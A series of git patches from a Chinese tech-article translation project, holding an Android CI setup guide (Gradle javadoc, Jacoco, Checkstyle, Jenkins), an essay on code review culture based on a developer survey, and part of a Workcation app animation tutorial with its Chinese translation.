+Quite straight forward for java, we need to generate a Javadoc.
+
+**Step1**: Require a JavaDoc comment on all public methods, through Checkstyle, already done in the default rules.
+
+**Step2**: implement the Gradle JavaDoc plugin
+
+```
+task javadoc(type: Javadoc) {
+    source = android.sourceSets.main.java.srcDirs
+    title = "Library SDK"
+    classpath = files(project.android.getBootClasspath())
+    destinationDir = file("${buildDir}/reports/javadoc/analytics-sdk/")
+    options {
+        links "http://docs.oracle.com/javase/7/docs/api/"
+        linksOffline "http://d.android.com/reference","${android.sdkDirectory}/docs/reference"
+    }
+    exclude '**/BuildConfig.java'
+    exclude '**/R.java'
+}
+afterEvaluate {
+    // fixes issue where javadoc can't find android symbols ref: http://stackoverflow.com/a/34572606
+    androidJavadocs.classpath += files(android.libraryVariants.collect { variant ->
+        variant.javaCompile.classpath.files
+    })
+}
+
+```
+
+Now, if you call *./gradlew javadoc* in your output folder, `build/reports/javadoc` you will find the complete javadoc for your project
+
+### Code coverage reports ###
+
+For this task we’ll use Jacoco, a java standard.
+
+```
+apply plugin: 'jacoco'
+jacoco {
+    toolVersion = "0.7.5.201505241946"
+}
+task coverage(type: JacocoReport, dependsOn: "testDebugUnitTest") {
+    group = "Reporting"
+    description = "Generate Jacoco coverage reports after running tests."
+    reports {
+        xml.enabled = true
+        html.enabled = true
+        html.destination "${buildDir}/reports/codecoverage"
+    }
+    def ignoredFilter = [
+            '**/R.class',
+            '**/R$*.class',
+            '**/BuildConfig.*',
+            '**/Manifest*.*',
+            'android/**/*.*',
+            'com.android/**/*.*',
+            'com.google/**/*.*'
+    ]
+    def debugTree = fileTree(dir:"${project.buildDir}/intermediates/classes/debug", excludes: ignoredFilter)
+    sourceDirectories = files(android.sourceSets.main.java.srcDirs)
+    classDirectories = files([debugTree])
+    additionalSourceDirs = files([
+            "${buildDir}/generated/source/buildConfig/debug",
+            "${buildDir}/generated/source/r/debug"
+    ])
+    executionData = fileTree(dir: project.projectDir, includes: ['**/*.exec', '**/*.ec'])
+}
+```
+
+So, similarly by calling ./*gradlew* coverage in `build/reports/coverage` you would get a very nice coverage report page.
+
+An important thing, in order to reduce code smell, was to break if developers forget code, used for debug purposes or comment out code in hopes of future use.
+
+```
+e.printStacktrace();
+
+System.out.println();
+
+//this code will be used sometime
+//if(contition){
+// someImportantMethod()
+//}
+```
+
+There is a quick fix for this, just add these rules to your checkstyle rules set.
+
+```
+<module name="Regexp">
+    <property name="format" value="System\.err\.print" />
+    <property name="illegalPattern" value="true" />
+    <property name="message" value="Bad Move, You should not use System.err.println" />
+</module>
+<module name="Regexp">
+    <property name="format" value="\.printStacktrace" />
+    <property name="illegalPattern" value="true" />
+    <property name="message" value="Bad Move, You should not use System.err.println" />
+</module>
+<!--Check for commented out code-->
+<module name="Regexp">
+    <property name="format" value="^\s*//.*;\s*$" />
+    <property name="illegalPattern" value="true" />
+    <property name="message" value="Bad Move, Commented out code detected, it smells." />
+</module>
+```
+
+At the end, our build loop has two extra lines:
+
+```
+./gradlew check // run unit tests
+./gradlew javadoc // generate javadoc
+./gradlew coverage // generate coverage reports
+./gradlew assemble // assemble all build flavors
+```
+
+So now that we have our checks in place, at last we need to set Github to disallow branch merges unless our Jenkins build passes. 
+This is quite easy with the Github plugin. You can just add a post build step, and run it once to have it available on Github
+
+![](https://cdn-images-1.medium.com/max/800/1*3udc8DO-_c9DaWQcnjcq0w.png)
+
+Adding a Jenkins build step
+
+and add the corresponding status as a requirement on Github
+
+![](https://cdn-images-1.medium.com/max/800/1*DBfAZ5j0l47TLBhXmmUbOA.png)
+
+Setting up a status requirement in GitHub
+
+And now, once a build finishes, if you have a PR that does not conform to the rules put in place, Jenkins fails the build and by this Github blocks the merge! \o/
+
+![](https://cdn-images-1.medium.com/max/800/1*uPCb2nWdnm9IdnszVeiV8Q.png)
+
+Github blocks merges if Jenkins fails to build a plan
+
+### Summary ###
+
+You now have a mechanism which runs :
+
+- Code style checks ✓
+- Static code analysis (Android specific and Java related) ✓
+- Bad practice pattern detectors ✓
+- Continuous documentation through JavaDoc ✓
+- Continuous discovery through the Jenkins loop ✓
+- Stopping the bleed through the master branch protection ✓
+
+Nice, now all you’re left to do is focus on the architecture of the code and continue improving your system.
+
+A sample code project implementing most of the above can be found on my github repo, [https://github.com/smarkovik/make-or-break](https://github.com/smarkovik/make-or-break).
+
+Oh, and if you’re in Paris and interested, look us up.. [http://www.welcometothejungle.co/companies/contentsquare](http://www.welcometothejungle.co/companies/contentsquare).
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 2fe3e93535b702bdd8d017bffd70de93d3bccaeb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 16 May 2017 22:07:51 +0800
Subject: [PATCH 474/638] Create crafting-better-code-reviews.md

---
 TODO/crafting-better-code-reviews.md | 225 +++++++++++++++++++++++++++
 1 file changed, 225 insertions(+)
 create mode 100644 TODO/crafting-better-code-reviews.md

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
new file mode 100644
index 00000000000..e81e90dee1b
--- /dev/null
+++ b/TODO/crafting-better-code-reviews.md
@@ -0,0 +1,225 @@
+> * 原文地址：[Crafting Better Code Reviews](https://medium.com/@vaidehijoshi/crafting-better-code-reviews-1a5fc00a9312)
+> * 原文作者：[Vaidehi Joshi](https://medium.com/@vaidehijoshi)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Crafting Better Code Reviews #
+
+*Adapted and reworked from a talk originally given at RailsConf 2017.*
+
+The intersection between humans and technology has never been simple or easy. This truth is particularly evident when it comes to the humans who *create* technology. As a human who also happens to write code for a living, I feel this the most during the code review process.
+
+Most developers tend think of their code as a craft and — as seems to be the case with artists and most creators of all kinds — we become incredibly attached to our code. We’ve been told to be [egoless programmers](https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/), to critique not just our own code, but every single line of code that crosses our desk, as it waits to be merged into a project’s codebase. We’ve heard that having our own code reviewed by our peers and reviewing the code of our colleagues are both Very Good Things™, that [we should all be doing](https://blog.codinghorror.com/code-reviews-just-do-it/) . And a good many of us already happen to be doing all of these highly-recommended things.
+
+But when was the last time we evaluated these methodologies? Are any of us sure that our code review processes are actually *working*? Are we certain that they’re serving the roles that they were originally intended to fill?
+
+And if not: how can we try and make them better?
+
+![](https://cdn-images-1.medium.com/max/800/1*INwRDJ_vspfJKkyFpv5jww.png)
+
+© geek & poke, [http://geek-and-poke.com](http://geek-and-poke.com)
+
+### Why even *bother* with review? ###
+
+Before we can really understand the *practical* benefits of peer code review, it’s helpful to know why they even started in the first place. There has been a decent amount of [research](https://en.wikipedia.org/wiki/Code_review#References) around code review best practices, but I think that Steve McConnell’s research in [*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) (originally published in 1993) is a good place to start.
+
+In his book, he describes code reviews, and what function they *ought* to serve. He writes:
+
+> One part of managing a software-engineering process is catching problems at the “lowest-value” stage — that is, at the time at which the least investment has been made and at which problems cost the least to correct. To achieve such a goal, developers use “quality gates”, periodic tests or reviews that determine whether the quality of the product at one stage is sufficient to support moving on to the next.
+
+The most powerful aspect of McConnell’s case for code review on every single team is the way that he ties it back to something he terms the “Collective Ownership in Construction”: the idea that all code is owned by a group of contributors, who can each equally access, change, and modify the collectively-owned project.
+
+> The original intent behind code reviews was that they would help us take collective ownership in the creation of our software. In other words, we’d each be stakeholders in our development process by having a hand in controlling the quality of our products.
+
+McConnell goes on to highlight a few different types of code review processes that an engineering team can adopt into their everyday workflows. I strongly recommend that you pick up a copy of *Code Complete* and learn more about each of these techniques; for our purposes, however, a summary will suffice. There are three formats for a code review:
+
+#### **1. Inspections** ####
+
+Inspections are longer code reviews that are meant to take approximately an hour, and include a moderator, the code’s author, and a reviewer.
+
+When used effectively, inspections typically catch about *60% of defects* (either bugs or errors) in a program. According to McConnell’s research, inspections result in *20–30% fewer defects per 1000 lines of code* than less formalized review practices.
+
+#### **2. Walkthroughs** ####
+
+A walkthough is a 30–60 minute working meetings, usually intended to provide teaching opportunities for senior developers to explain concepts to newer programmers, while also giving junior engineers the chance to push back on old methodologies.
+
+Walkthroughs can sometimes be very effective, but they’re not nearly as impactful as a more formalized code review process, such as an inspection. A walkthrough can usually reveal *20–40% of errors* in a program.
+
+#### **3. Short code reviews** ####
+
+Short reviews are, as their name would suggest, much faster; however, they are still very much in-depth reviews of small changes, including single-line changes, that tend to be the most error-prone.
+
+McConnell’s research uncovered the following about shorter code review:
+
+> An organization that introduced reviews for one-line changes found that its error rate went from 55 percent before reviews to 2 percent afterward. A telecommunications organization in the late 80’s went from 86 percent correct before reviewing code changes to 99.6 percent afterward.
+
+The data — at least McConnell’s *subset* of collected data — seems to suggest that every software team should be conducting *some* combination of these three types of code reviews.
+
+However, McConnell’s book was first researched and written back in 1993. Our industry has changed since then and, arguably, so have our peer review methodologies. But are our implementations of code review today actually effective? How are we putting the *theory* behind code reviews into *practice*?
+
+To find the answer to these questions, I did what any determined (but a little unsure of where to start) developer would do: I asked the Internet!
+
+[![Markdown](http://i4.buimg.com/1949/4bcc14c27f51262e.png)](https://twitter.com/vaidehijoshi)
+
+Well, okay — I asked Twitter.
+
+### What do developers think of code reviews? ###
+
+Before I dive into the results of the survey, a quick disclaimer: *I am not a data scientist.* (I wish I were, because I’d probably be a lot better at analyzing all of the responses to this survey, and maybe I’d even be halfway-decent at plotting graphs in R!). Ultimately, this means is that my dataset is limited in *many* ways, the first of which being that it was a self-selecting survey on Twitter, and the second being the fact that the survey itself presupposed a branch/pull request based team.
+
+Okay, now that we have that out of the way: *what do developers think of code reviews?*
+
+#### The quantitative data ####
+
+We’ll try to answer this question by looking at the quantitative data to start.
+
+First off, the answer to this question depends a lot on *which* developers you ask. At the time that I am writing this, I have received a little over 500 responses to my survey.
+
+The developers who responded primarily worked in Java, Ruby, or JavaScript. Here’s how those responses break down in terms of developers and the primary language that they and their team work in.
+
+![](https://cdn-images-1.medium.com/max/600/1*hiGuGx5OvayL4dPu1tSC4w.png)
+
+I asked every respondent to the survey to what extent they agreed with the statement: *Code reviews are beneficial to my team*.
+
+Overall, Swift developers found code reviews the *most* beneficial to their teams, averaging a 9.5 on a scale of 1–10, where 1 was *strongly disagree*, and 10 was *strongly agree*. Ruby developers came in a close second, averaging about 9.2.
+
+![](https://cdn-images-1.medium.com/max/800/1*1zSl-fd9hygIBzxp52yHOQ.jpeg)
+
+While the majority of survey respondents (approximately 70%) stated that all pull requests were reviewed stated that every single pull request was reviewed by someone on the team before being merged, this wasn’t the case on all teams. About 50 respondents (approximately 10% of the entire dataset) stated that pull requests were only peer reviewed in their teams when a review was *requested* by them.
+
+![](https://cdn-images-1.medium.com/max/800/1*fVl3H0KGsauN1Bxs_jsN7A.jpeg)
+
+The data seemed to suggest that this distribution, for the most part, carried across languages and frameworks. No one single language seemed to have an overwhelmingly different result in terms of whether all pull requests were reviewed, or if reviews had to first be requested. In other words, it would appear that it is not the language or the framework that results in a more consistent code review culture, but more likely, the team itself.
+
+![](https://cdn-images-1.medium.com/max/800/1*jFZ_2zCzHM78m_L_p0OK8A.jpeg)
+
+Finally, for those developers who were working on teams that *did* require for pull requests to be reviewed before being merged, it appeared that the majority of teams only needed one other person to peer review before merging code into the shared codebase.
+
+![](https://cdn-images-1.medium.com/max/800/1*KsuH1lurvkf5wpoXZ2queQ.png)
+
+#### The qualitative data ####
+
+So what about the *unquantifiable* stuff? In addition to multiple choice questions, the survey also allowed respondents to fill in their own answers. And this is where the results actually proved to be the most *illuminating*, not to mention the most useful.
+
+There were a few overarching themes that popped up repeatedly in the anonymized responses.
+
+> Ultimately, what seemed to make or break a code review experience depended upon two things: how much energy was spent during the review process, and how much substance the review itself had.
+
+A code review was bad (and left a bad taste in the reviewer’s and reviewee’s mouth) if there wasn’t enough energy spend on the review, or if it lacked substance. On the other hand, if a code review process was thorough, and time was spent reviewing aspects of the code in a substantive way, it left a much more positive impression overall on both the reviewer and the reviewee.
+
+But what do we mean by *energy* and *substance*, exactly?
+
+#### Energy ####
+
+Another way of determining the **energy behind a code review** is by answering the question: *Who all is doing the review?**And how much time are they spending on it?*
+
+A lot of respondents were conducting code reviews, but many seemed to be unhappy with who was doing them, and how much time they ended up spending while reviewing — or waiting to be reviewed.
+
+Below are just a few of the anonymized responses to the survey:
+
+> We have one dev who just blindly thumbs-up every PR and rarely leaves comments. That person is attempting to game the rule of “at least two approvals”. It is easy to tell, because inside of one minute they will suddenly have approved 5–6 PRs.
+
+> I find that the 2nd or 3rd reviewer is often more likely to rubber stamp after seeing one approval.
+
+> There have been times when the same code has been reviewed differently depending on who submits the PR.
+
+> Everyone on the team should receive equal review. I feel like it’s so common for senior people to get no feedback because people assume they can do no wrong but they totally can, and might want feedback. And junior people get nit picked to death… remember people’s self esteem is likely to be affected and they’re being vulnerable.
+
+> Commits are too big, so PR’s take long to review. People don’t check out the branch locally to test.
+
+> Especially long PR’s take longer to be reviewed, which is an issue because they have the most effect on future branches/PRs/merges.
+
+The overarching takeaways when it came to *how**much* energy was being spent (or not spent) on a code review boiled down to three things:
+
+1. No one feels good about a code review process that’s just a formality & doesn’t carry any weight.
+2. It’s not fun to review a long PR with code that you’re unfamiliar with, or have no context for.
+3. To err is human, and we’re all human. We should all be reviewed, and review others fairly.
+
+#### Substance ####
+
+The **substance of a code review** boils down to the answer to one question question: *What exactly is someone saying, doing, or making another person feel while they review their code?*
+
+The responses connected to the substance of a code review were, for the most part, grounded in what people were saying in their reviews, and how they were saying it.
+
+Here are a few of the anonymized responses from the survey:
+
+> I take any feedback on PR’s at face value. If changing that string to a symbol will make you happy, let’s do that and move on. I’m not going to try and justify an arbitrary decision. It’s not unlike working in an IDE environment, it’s very easy for my brain to fall into a “see red squiggle, fix red squiggle” mindset. I don’t really care why it’s upset, just make it stop yelling at me.
+
+> Do not do big picture or architectural critiques in a review. Have offline conversations. Too easy to send folks down a rabbit hole and create frustration.
+
+> I feel pretty strongly that it’s annoying when people demand changes, especially if they don’t take the time to explain why they’re doing so, or leave room for the possibility that they’re wrong. Especially when people just rewrite your code in a comment and tell you to change to their version.
+
+> If a comment thread is getting long, it’s an indication a verbal conversation should be had (report the consensus back in the comment thread)
+
+> People need to do better jobs distinguishing between their own stylistic preferences and feedback that makes a functional difference. It can be tough for a more junior person to figure out which is which. It’s also frustrating when multiple seniors give conflicting feedback (e.g. What to call a route and why).
+
+The main themes when it came to the *substance* of a code review could be summarized into the following:
+
+1. Comments nitpicking purely at syntax lead to a negative experience. Style and semantics are not the same thing. (Interestingly, 5% of respondents used the word ***nitpick***to describe code review comments in a negative context.)
+2. The words we use to review one another’s code really do matter. An unkind review can break someone’s self-confidence.
+
+### How do we do better? ###
+
+Although this data may not be the most complete, full, or even the most *accurate* representation of our industry’s code review culture, there is one thing that seems like a fair claim to make: we could all stand to revisit our code review processes on our teams and within the larger community.
+
+This anonymous survey response highlights the immense impact that a review process can have on members of an engineering team:
+
+> A bad code review almost made me leave the company. A great code review leaves me feeling better equipped to tackle future projects.
+
+Indeed, having *some* sense of a formalized code review is incredibly beneficial and statistically powerful; both Steve McConnell’s research and this small survey both seem to support this fact. But, it’s not just enough to implement a code review culture and then never think about it again. In fact, a code review process where members of a team are simply going through the actions of reviewing can be detrimental and discouraging to the team as a whole.
+
+> Instead, it is the act of introspection, reflection, and reevaluation of our collective code review culture that will allow us to build upon any kind of formalized review process we might have.
+
+In other words, it’s the act of asking ourselves whether our code reviews are effective, and whether they’re making a difference — both on the entire team, as well as the individuals who form it.
+
+#### Easy ways to improve your code review process ####
+
+There are a few ways to immediately make the code review process more painless and enjoyable for your team. Here are a few things to help you get started:
+
+- Implement [linters](https://github.com/showcases/clean-code-linters) or a code analyzer (if available) in order to eliminate the need for syntactical comments on a pull request.
+- Use [Github templates](https://quickleft.com/blog/pull-request-templates-make-code-review-easier/) for every pull request, complete with a checklist to make it easy for the author of the code and the reviewer to know what to add, and what to check for.
+- Add screenshots and detailed explanations to help provide context to teammates who might not be familiar with the codebase.
+- Aim for small, concise commits, and encapsulated pull requests that aren’t massive in size, and thus much easier and quicker to review.
+- Assign specific reviewers to a PR — more than one, if possible. Make sure that the role of reviewing is equally distributed amongst engineers of each and every level.
+
+#### The harder things — but the most important ####
+
+Once you’ve picked off some of the low-hanging fruit, there are some bigger changes you can help bring about, too. These are actually the most important things to do if you want to change your code review culture.
+
+And, let me warn you: that’s probably what makes them so hard.
+
+- ***Develop a sense of empathy on your team.*** The greatest burden of making this happen falls on the shoulders of senior, more experienced engineers. Build empathy with people who are newer to the team or the industry.
+
+[![Markdown](http://i1.piimg.com/1949/36f270199929bb1e.png)](https://twitter.com/sarahmei)
+
+- ***Push for a culture that values vulnerability — both in actions and in words.*** This means reevaluating the language used in pull request comments, identifying when a review is on track to turn into a downward spiral, and determining when to take conversations offline, rather than questioning the author of the code publicly.
+
+[![Markdown](http://i1.piimg.com/1949/51bfec74a7cf1e42.png)](https://twitter.com/j3)
+
+- ***Have a conversation.*** Sit your team down, start a Slack channel, create an anonymized survey — whichever fits your group’s culture best. Have the conversation that will make everyone comfortable enough to share whether they are each happy with the current code review process, and what they wish the team did differently.
+
+I saved the most important one for last because, honestly, if you’ve stuck with me and read this far, you must really want to change the status quo. And that really *is* a Very Good Thing™! Ultimately, though, having the conversation with your team is the most important first step to take in making that change happen.
+
+This survey response summarizes why, far better than I ever could:
+
+> I love code reviews in theory. In practice, they are only as good as the group that’s responsible for conducting them in the right manner.
+
+#### Resources ####
+
+If you’d like to view a larger collection of curated, anonymized survey responses, you can view the website that accompanies this project:
+
+[![Markdown](http://i1.piimg.com/1949/2b892fa3a6988b39.png)](http://bettercode.reviews)
+
+#### Acknowledgements ####
+
+First and foremost, I’m deeply grateful to the hundreds of developers who took the time and effort to answer my survey.
+
+A huge thank you to [Kasra Rahjerdi](https://medium.com/@jc4p), who helped me analyze the responses to my survey and created many of the graphs in this project.
+
+Thank you to [Jeff Atwood](https://blog.codinghorror.com/code-reviews-just-do-it/), for his articles on peer reviews, Karl Wiegers for his work in [*Humanizing Peer Reviews*](http://www.processimpact.com/articles/humanizing_reviews.html), and Steve McConnell for his extensive research on code review processes in [*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) . I hope you’ll consider supporting these authors by reading their writing or purchasing their books.
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 421965d5452d7632c93fdc3ab0886f3964e37726 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Tue, 16 May 2017 22:16:48 +0800
Subject: [PATCH 475/638] =?UTF-8?q?2017.5.16=20=E7=BF=BB=E8=AF=91=E5=AE=8C?=
 =?UTF-8?q?=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-element-transition-recyclerview-scenes.md | 323 ++++++++++++------
 1 file changed, 222 insertions(+), 101 deletions(-)

diff --git a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
index 3c1a428215c..f66edb0fde5 100644
--- a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
+++ b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
@@ -6,60 +6,108 @@
 
 #  Workcation App – Part 4. Shared Element Transition with RecyclerView and Scenes #
 
+#  Workcation App – 第四部分. 场景（Scenes）和 RecyclerView 的可共享的转场动画（Shared Element Transition）
+
+PS：貌似 Shared Element Transition 没有特别标准的译法，直译是共享元素变化。结合上下文和我 的理解翻译成可共享的转场动画
+
 **Discover how to show details layout with Shared Element Transition with Scene Framework!**
 
+** 探索如何通过场景框架（Scene Framework）创建展示详情页的、可共享的转场动画。
 Welcome to the fourth and last part of my post series about the R&D (Research & Development) project, which I made a while ago. I want to share with you my solutions for problems I encountered during the development of an animation idea, shown below. In this blogpost, I will cover how to show details layout with Shared Element Transition with Scene Framework!
 
-Part 1: [Fragment’s custom transition
-](https://www.thedroidsonroids.com/?p=5054)
+欢迎阅读本系列文章的第四篇也是最后一篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。在这篇博文里，我会编写最后的部分：如何通过场景框架（Scene Framework）创建展示详情页的、可共享的转场动画。
+
+Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
+
+Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout)
+Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
-Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
-**Part 4: Shared element transition with RecyclerView and Scenes**
+ 
+
+项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
+
+动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
-Link for the project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
 
-Link for the animation on Dribbble:
-[https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
  
 
 ## PRELUDE ##
 
+## 序
+
 A few months back, we had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I didn’t know what I was going to struggle with…
 
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
 
 GIF 1 *“The animation”*
 
-## LET’S START! ##
+# Let’s start! #
+
+# 开始吧！
 
 As we can see, in the GIF above, there is a lot of going on.
 
-1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items are loaded with translation from the bottom, while markers are added to the map with a scale/fade animation.
+就像上面 GIF 动画展示的，需要做的事情有很多。
+
+1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
+
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上。
+
 2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
-3. After clicking on an item, we are transferred to the next screen, while the map is animated below to show the route and the start/finish marker. The RecyclerView’s item is transitioned to show some description, a bigger picture, trip details and button.
-4. While returning, the transition happens again back to the RecyclerView’s item, showing all of the markers again, as the route disappears.
 
-That’s pretty much it. This is also why I’ve decided to show you all of these things in a series of posts. As I have mentioned above, in this article, I will cover how to show a details layout with Shared Element Transition with Scene and Transition Framework!
 
-## THE PROBLEM ##
+当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
+3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+
+
+在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
+
+
+4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
+
+
+当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
+
+
+Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover how to animate markers with RecyclerView interaction!
+
+就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中，我会解决如何让标记与 RecycleView 产生互动。
+
+# The Problem #
+
+# 需求 
 
 Okay, so as we can see in the GIF above, after clicking on the item in RecyclerView, we are entering the details layout with some information about our trip destination. There is definitely a Shared Element Transition, where some of the views are changing their bounds, while TextView is also changing its size and details with red buttons are sliding in from the bottom. Thanks to the Transition Framework, we are able to create this amazing animation.
 
+好吧，我们已经看过上面的GIF了。在点击了RecycleView 的 item 以后，用户进入了显示路径的详情页面。这绝对是一个可共享的转场动画（Shared Element Transition）：view 和 Textview 同时改变自身的大小、填充详情内容，红色按钮的详情从 view 的底部向上滑动显示。多亏了转场动画框架（Transition Framework），我们可以用代码这种酷炫的动画效果。
+
 My first guess was to create just like it appears in 90% of materials on the internet – via the Shared Element Transition between two Activities. However let’s look on the map. There is also an animation “underneath” the details layout – the route is being drawn and the map zooms to the fixed position. So, I guess we don’t want to create another activity with a transparent background and try to animate the map on the “background” activity.
 
+我最初的想法和 90%的 网上设计一样 —— 声明一个 activities 之间可共享的转场动画（Shared Element Transition）。然而让我们看一下地图，详情布局下面还有一个动画 —— 绘制我们所在位置和目标点的路径。所以创建另一个背景空白 activity 并试图在此 activity 上绘制地图的动画效果的做法是不合适的。
+
 My second guess was to create the Shared Element Transition between two fragments – add the DetailsFragment on the top of the stack and create a transition between views in both layouts – RecyclerView’s item and DetailsFragment’s layout. A better solution, but still – for me, it looks like the same screen and the same fragment, only with another layout added on top. So, do we have a solution that fits my needs?
 
+我第二个想法是创建一个 fragment 之间可共享的转场动画（Shared Element Transition）—— 将 DetailsFragment 添加在顶端，在两个 view 之间添加一个转场动画 —— 就是 RecycleView 的 item 和 DetailFragment 的容器。做法会好一些 —— 但是对我来说，又是同样的屏幕啊、fragment什么的，有所不同的只是最上层又添了一层布局。那么，有满足我需求的办法吗？
+
 Yes, we have! From API 19 (the Workcation App is 21 and above) we have an option – Scenes! When used with Transition Framework, they’re really powerful. We can manage our UI in a very sophisticated way. And the most important thing – it totally fits our needs! So, let’s look at the implementation!
 
+当然有！自从 Android 4.4 以来（Workcation App 的 SDK 是 Android 5.0 以上的版本）我们就有了这么一个选择 —— 场景（Scenes）！当使用转场框架（Transition Framework）的时候，它们确实很勥。我们可以用非常精妙的方式管理用户界面。最重要的是 —— 完全符合我们的需求！看看它是怎么实现的吧!
+
  
 ## SHARED ELEMENT TRANSITION WITH RECYCLER VIEW ##
 
+## RecycleView 的可共享转场动画
+
 Let’s start from clicking on the RecyclerView’s item. Our DetailsFragment (the one with Map and RecyclerView) implements OnPlaceClickedListener. We pass the OnPlaceClickListener interface implementation in the constructor like this:
 
+让我们从点击 RecycleView 的 item 开始吧。DetailsFragment (带有地图和 RecycleView 的那个)实现了 OnPlaceClickedListener 接口。我们是这样向构造方法传递 OnPlaceClickListener 的接口实现类作为参数的：
+
 ```
 Java
 
@@ -74,38 +122,56 @@ BaliPlacesAdapter(OnPlaceClickListener listener,Context context){
 
 Next, in the *onBindViewHolder* method, we trigger the *onPlaceClicked* method after clicking on the RecyclerView’s item. We do this simply by passing it to *onClickListener:*
 
+接着在 **onBindViewHolder** 方法中，点击 RecycleView item 以后触发 *onPlaceClicked*。我们简单的通过给item 设置 **onClickListener** 来实现：
+
 ```
 @Override
 
-publicvoidonBindViewHolder(finalBaliViewHolder holder,finalintposition){
+public void onBindViewHolder(final BaliViewHolder holder,final int position){
 
     [...]
 
     holder.root.setOnClickListener(view->listener.onPlaceClicked(holder.root,TransitionUtils.getRecyclerViewTransitionName(position),position));
 
+    /*
+    译者注：此处是 lamda 表达式，一种便捷的匿名函数语法。等同于
+    holder.root.setOnClickListener( new OnClickListener(View view) {
+            listener.onPlaceClicked(holder.root,TransitionUtils.getRecyclerViewTransitionName(position),position);
+        }
+    );
+    
+    AS 里这么写需要 2.4 及以上版本，或者第三方的库。
